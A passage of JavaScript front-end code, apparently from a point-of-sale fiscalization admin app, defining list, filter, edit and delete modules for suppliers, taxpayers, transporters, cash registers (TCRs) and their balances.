callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
code: {field: 'code', title: __('Code')},
description: {field: 'description', title: __('Description')},
standardCode: {field: 'standardCode', title: __('Standard Code')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'code', 'description', 'standardCode', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
Supplier: {
itemType: 'suppliers',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: 'website_'+ self.itemType,
columns: ['id', 'name', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
'nuis': {field: 'nuis', title: __("NUIS")},
address: {field: 'address', title: __("Address")},
contact: {field: 'contact', title: __("Contact")},
code: {field: 'code', title: __("Code")},
'creator:name': {field: 'created_by', title: __("Creator")},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
this.list({
columns: ['id', 'nuis', 'name', 'code', 'address', 'contact', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add thumbnail
parameters.thumbnail = $modal.find('.filebox img').attr('src');
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
SupplierList: {
itemType: 'supplier-lists',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter() { //this method is used for filtering items based on filter form on the page
let api = this.search();
let parameters = Modal.parameters( $('form[name="filter"]') , true);
// we add other filter condition here
if(!empty(parameters.name)) {
api.where('name', 'like', '%'+ parameters.name +'%');
}
//and in the end we return it
return api;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: 'website_'+ self.itemType,
columns: ['id', 'name', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
nuisList: {field: 'nuisList', title: __("NUIS")},
description: {field: 'description', title: __("Description")},
'creator:name': {field: 'created_by', title: __("Creator")},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
this.list({
columns: ['id', 'nuisList', 'name', 'description', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
//and in the end we return it
return filtered;
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, suppliers: Cache.get('suppliers')}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add thumbnail
parameters.thumbnail = $modal.find('.filebox img').attr('src');
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
TaxPayer: {
itemType: 'taxpayer',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(this.itemType);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'lg',
template: templates()[self.prefix][self.itemType].template({
item: opts.item,
idTypes: Cache.get('idTypes'),
cities: Arr.pluck(Cache.get('cities'), 'name').sort(),
countries: Arr.pluck(Cache.get('countries'), 'name', 'countryCode'),
}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add country label
parameters.country = $modal.find('[name="countryCode"] option:selected').text().trim();
return parameters;
},
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
Transporter: {
itemType: 'transporters',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter() { //this method is used for filtering items based on filter form on the page
let api = this.search();
let parameters = Modal.parameters( $('form[name="filter"]') , true);
// we add other filter condition here
if(!empty(parameters.name)) {
api.where('name', 'like', '%'+ parameters.name +'%');
}
//and in the end we return it
return api;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'name', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
nuis: {field: 'nuis', title: __("NUIS")},
address: {field: 'address', title: __("Address")},
phoneNo: {field: 'phoneNo', title: __("Phone")},
plate: {field: 'plate', title: __("Plate")},
'creator:name': {field: 'created_by', title: __("Creator")},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
this.list({
columns: ['id', 'nuis', 'name', 'address', 'phoneNo', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
//and in the end we return it
return filtered;
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, suppliers: Cache.get('suppliers')}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add thumbnail
parameters.thumbnail = $modal.find('.filebox img').attr('src');
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
TCR: {
itemType: 'tcrs',
prefix: 'devpos',
choose: function(itemID) {
let self = this;
swalConfirm({
text: '',
type: 'question',
confirm: function(opts) {
//from itemID find the tcr_code
let tcr = Cache.get('tcrs').find(row => row.id == itemID);
//run request
//new Route(self.itemType).prefix(self.prefix).action(tcr.fiscalizationNumber + '/choose').get(function(res){
new Route(self.itemType).prefix(self.prefix).action('choose').post(tcr, function(res){
generalSuccess();
});
}
});
},
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source = []) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = filtered.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
if(!empty(parameters.created_min)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated <= parameters.created_max;
});
}
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
code: {field: 'code', title: __('Code')},
type: {field: 'type', title: __('Type'), template: function(row){ let types = {'0': 'Regular cash register', '1': 'Self-service cash register'}; return __(types[row.type]) }},
businessUnitCode: {field: 'businessUnitCode', title: __('Business Unit Code')},
description: {field: 'description', title: __('Description')},
fiscalizationNumber: {field: 'fiscalizationNumber', title: __('Fiscalization Number')},
tcrIntID: {field: 'tcrIntID', title: __('Sort')},
pointsOfSaleCode: {field: 'pointsOfSaleCode', title: __('POS')},
tcrBalance: {field: 'tcrBalance', title: __('Balance'), autoHide:!1, template: function(row) { return priceNum(row.tcrBalance); }},
'pos:code': {field: 'pos_id', title: __('POS')},
validFromDate: {field: 'validFromDate', title: __("Valid from"), type: "date", template: function(row){ return row.validFromDate ? moment(row.validFromDate).format("MM/DD/YYYY"):''; }},
validToDate: {field: 'validToDate', title: __("Valid up to"), type: "date", template: function(row){ return row.validToDate ? moment(row.validToDate).format("MM/DD/YYYY"):''; }},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-${(choosedTCR == row.fiscalizationNumber ? 'brand':'clean')} btn-icon btn-icon-md" title="${__('Choose')}" data-id="${row.id}"><i class="la la-check"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-check').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.choose(itemID);
});
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'tcrIntID', 'pointsOfSaleCode', 'type', 'validFromDate', 'validToDate', 'businessUnitCode', 'fiscalizationNumber', 'tcrBalance', 'created_at', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, warehouseTypes: Cache.get('warehouseTypes')}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add thumbnail
parameters.thumbnail = $modal.find('.filebox img').attr('src');
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
updateBalance: function(itemID) {
//get tcrCodes
return Modal.create({
title: 'Update balance',
size: 'md',
template: templates().tcrs.openBalace({tcrs: Cache.get('tcrs')}),
save: function(opts) {
new Route('tcrs').whereId(opts.parameters.tcrId).action('open-balance').post(opts.parameters, function(res) {
closeVModal(function(){
generalSuccess('Cash drawer open successfully with the initial balance: '+ res.Data.value, 2500);
Page.reload(2500);
});
}, function(res) { generalError(res.Msg) });
}
});
},
search() {
return new Model(this.itemType);
},
},
TCRBalance: {
itemType: 'tcr-balances',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter() { //this method is used for filtering items based on filter form on the page
let api = this.search();
let parameters = Modal.parameters( $('form[name="filter"]') , true);
// we add other filter condition here
if(!empty(parameters.name)) {
api.where('name', 'like', '%'+ parameters.name +'%');
}
//and in the end we return it
return api;
},
fiscalize: function(itemID) {
swalConfirm({
text: '',
type: 'question',
confirm: function(opts) {
new Route(self.itemType).prefix(self.prefix).whereId(itemID).put({}, function(res) {
generalSuccess();
});
console.log(parameters);
}
});
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
code: {field: 'code', title: __('Code')},
value: {field: 'value', title: __('Value')},
description: {field: 'description', title: __('Description')},
'tcr.name': {field: 'tcr.name', title: __('TCR'), template: function(row){ return row.tcr.name; }},
operation: {field: 'operation', title: __('Operation'), template: function(row){
let operations = ['Deklaratë Fillestare', 'Tërheqje', 'Depozitim'];
return operations[row.operation];
}},
tcrBalance: {field: 'tcrBalance', title: __('Balance'), autoHide:!1, template: function(row) { return priceNum(row.tcrBalance); }},
changeDateTime: {field: 'changeDateTime', title: __("Change Date"), type: "date", template: function(row){ return moment(row.changeDateTime).format("MM/DD/YYYY"); }},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'tcr.name', 'value', 'operation', 'changeDateTime', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
//and in the end we return it
return filtered;
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, tcrs: Cache.get('tcrs')}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add thumbnail
parameters.thumbnail = $modal.find('.filebox img').attr('src');
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
TCRUnfiscalizedBalance: {
itemType: 'tcr-balances',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter() { //this method is used for filtering items based on filter form on the page
let api = this.search();
let parameters = Modal.parameters( $('form[name="filter"]') , true);
// we add other filter condition here
if(!empty(parameters.name)) {
api.where('name', 'like', '%'+ parameters.name +'%');
}
//and in the end we return it
return api;
},
fiscalize: function(itemID) {
let self = this;
swalConfirm({
text: '',
type: 'question',
confirm: function(opts) {
new Route(self.itemType).prefix(self.prefix).whereId(itemID).action('fiscalize').put({}, function(res) {
generalSuccess();
});
console.log(parameters);
}
});
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
code: {field: 'code', title: __('Code')},
value: {field: 'value', title: __('Value')},
description: {field: 'description', title: __('Description')},
'tcr.name': {field: 'tcr.name', title: __('TCR'), template: function(row){ return row.tcr.name; }},
operation: {field: 'operation', title: __('Operation'), template: function(row){
let operations = ['Deklaratë Fillestare', 'Tërheqje', 'Depozitim'];
return operations[row.operation];
}},
tcrBalance: {field: 'tcrBalance', title: __('Balance'), autoHide:!1, template: function(row) { return priceNum(row.tcrBalance); }},
changeDateTime: {field: 'changeDateTime', title: __("Change Date"), type: "date", template: function(row){ return moment(row.changeDateTime).format("MM/DD/YYYY"); }},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
